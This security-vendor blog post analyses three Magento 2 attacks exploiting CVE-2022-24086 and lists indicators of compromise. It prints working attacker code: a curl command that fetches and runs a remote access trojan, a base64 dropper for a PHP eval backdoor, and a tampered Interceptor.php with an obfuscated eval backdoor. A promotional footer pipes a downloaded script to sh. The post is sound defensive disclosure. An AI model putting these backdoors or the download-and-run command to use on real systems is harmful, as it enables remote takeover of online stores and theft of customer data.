Sansec logo

Surge in Magento 2 template attacks

Sansec

by Sansec Forensics Team

Published in Threat Research − September 22, 2022

The critical template vulnerability in Magento 2 (CVE-2022-24086) is gaining popularity among eCommerce cyber criminals. The majority of recent Sansec forensic cases concern this attack method. In this article we share our findings of 3 template hacks, and hope it will help you if you are confronted with a similar attack.

Surge in Magento 2 template attacks

Currently, Sansec eComscan is the only malware scanner that detects the injected remote access trojan (see Virustotal).

223sam.jpg attack

All of the observed attacks have been interactive, possibly because the Magento checkout flow is very hard to automate. It starts with the creation of a new customer account and an order placement, which may result in a failed payment. The sales_order_address table now contains a record with malicious template code, which decodes to:

cd pub;cd media;curl https://theroots.in/pub/media/avatar/223sam.jpg -o cli &&chmod +x cli&&./cli;

This downloads a Linux executable called 223sam.jpg and launches it as a background process called cli. Sansec found that it is actually a Remote Access Trojan (RAT). While it remains in memory, it creates a state file lg000 and polls a remote server hosted in Bulgaria for commands.

dev-clientservice.com (primary)
mailchimp-addons.com
allsecurehosting.com

The RAT has full access to the database and the running PHP processes. Another difficulty for forensic investigators, is that this RAT can be injected on any of the nodes in a mult-server cluster environment.

The RAT invocation as ./cli is reminiscent of the backdoored FishPig attack that we disclosed last week. It may indicate a common threat actor.

IPs involved in this attack are:

45.128.199.3
45.134.20.11
86.104.15.60

health_check.php attack

A variation of this attack is the attempted injection of a health_check.php backdoor. The VAT field in the sales order may contain this template code, which (decoded) creates a file called pub/media/health_check.php:

$injStr = "PD9waHAKaWYoaXNzZXQoJF9QT1NUWyJhdGEiXSkpCnskdl9kYXRhPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJhdGEiXSk7CkBldmFsKCR2X2RhdGEpOwpleGl0KDApOwp9";
$pth = "health_check.php";
$lpth = "live.log";
$expth = "pub/";
$medpth = "media/";
$b64 = "base64_decode";
if (file_exists($pth)) {
    file_put_contents($pth, $b64($injStr));
    file_put_contents($medpth . $lpth, $lpth);
}
if (file_exists($expth . $pth)) {
    file_put_contents($expth . $pth, $b64($injStr));
    file_put_contents($expth . $medpth . $lpth, $lpth);
}

It contains a generic eval backdoor accepting commands via the POST ata parameter:

<?php
if(isset($_POST["ata"]))
{$v_data=base64_decode($_POST["ata"]);
@eval($v_data);
exit(0);
}

Interceptor.php attack

A third attack variation has this template code, which replaces generated/code/Magento/Framework/App/FrontController/Interceptor.php with this malicious code:

<?php
namespace Magento\Framework\App\FrontController;

/**
 * Interceptor class for @see \Magento\Framework\App\FrontController
 */
class Interceptor extends \Magento\Framework\App\FrontController implements \Magento\Framework\Interception\InterceptorInterface
{
    use \Magento\Framework\Interception\Interceptor;

    public function __construct(\Magento\Framework\App\RouterListInterface $routerList, \Magento\Framework\App\ResponseInterface $response, ?\Magento\Framework\App\Request\ValidatorInterface $requestValidator = null, ?\Magento\Framework\Message\ManagerInterface $messageManager = null, ?\Psr\Log\LoggerInterface $logger = null, ?\Magento\Framework\App\State $appState = null, ?\Magento\Framework\App\AreaList $areaList = null)
    {
        $this->___init();
        parent::__construct($routerList, $response, $requestValidator, $messageManager, $logger, $appState, $areaList);
    }

    /**
     * {@inheritdoc}
     */
    public function dispatch(\Magento\Framework\App\RequestInterface $request)
    {
        $pluginInfo = $this->pluginList->getNext($this->subjectType, 'dispatch');
        $cryption_block = base64_decode('JGYwPWZhbHNlO2lmKGlzc2V0KCR3MVtiYXNlNjRfZGVjb2RlKCdaVzVqY25sd2RHbHZibDlyWlhrPScpXSkpeyR2Mj0kdzFbYmFzZTY0X2RlY29kZSgnWlc1amNubHdkR2x2Ymw5clpYaz0nKV07aWYoJGgzPT0kdjIpeyRmMD10cnVlO319aWYoaXNzZXQoJHcxW2Jhc2U2NF9kZWNvZGUoJ1puSnZiblJPWVcxbCcpXSkpeyR1ND0kdzFbYmFzZTY0X2RlY29kZSgnWm5KdmJuUk9ZVzFsJyldOyR1ND1iYXNlNjRfZGVjb2RlKCR1NCk7fWlmKCRmMCl7JGw1PWV2YWwoJHU0KTtyZXR1cm4gJGw1O30=');
        $__init_function = @create_function('$w1, $h3', "$cryption_block");
        $hash_key = "f374edde20";
        $req = $_REQUEST;
        $__init_function($req,$hash_key);
        if (!$pluginInfo) {
            return parent::dispatch($request);
        } else {
            return $this->___callPlugins('dispatch', func_get_args(), $pluginInfo);
        }
    }
}

This will execute another typical PHP eval backdoor:

$f0 = false;
if (isset($w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')])) { // encryption_key
    $v2 = $w1[base64_decode('ZW5jcnlwdGlvbl9rZXk=')];
    if ($h3 == $v2) {
        $f0 = true;
    }
}
if (isset($w1[base64_decode('ZnJvbnROYW1l')])) { // frontName
    $u4 = $w1[base64_decode('ZnJvbnROYW1l')];
    $u4 = base64_decode($u4);
}
if ($f0) {
    $l5 = eval($u4);
    return $l5;
}

The malware is then executed on every Magento page request. But in practice, we have seen attackers use this URI as entry point:

POST /catalogsearch/result/?q=bestone

Read more

Scan your store now
for malware & vulnerabilities

$ curl ecomscan.com | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

TwitterLinkedinEmail

Terms & Conditions
|
Privacy & Cookie Policy
Company Reg 77165187
|
Tax NL860920306B01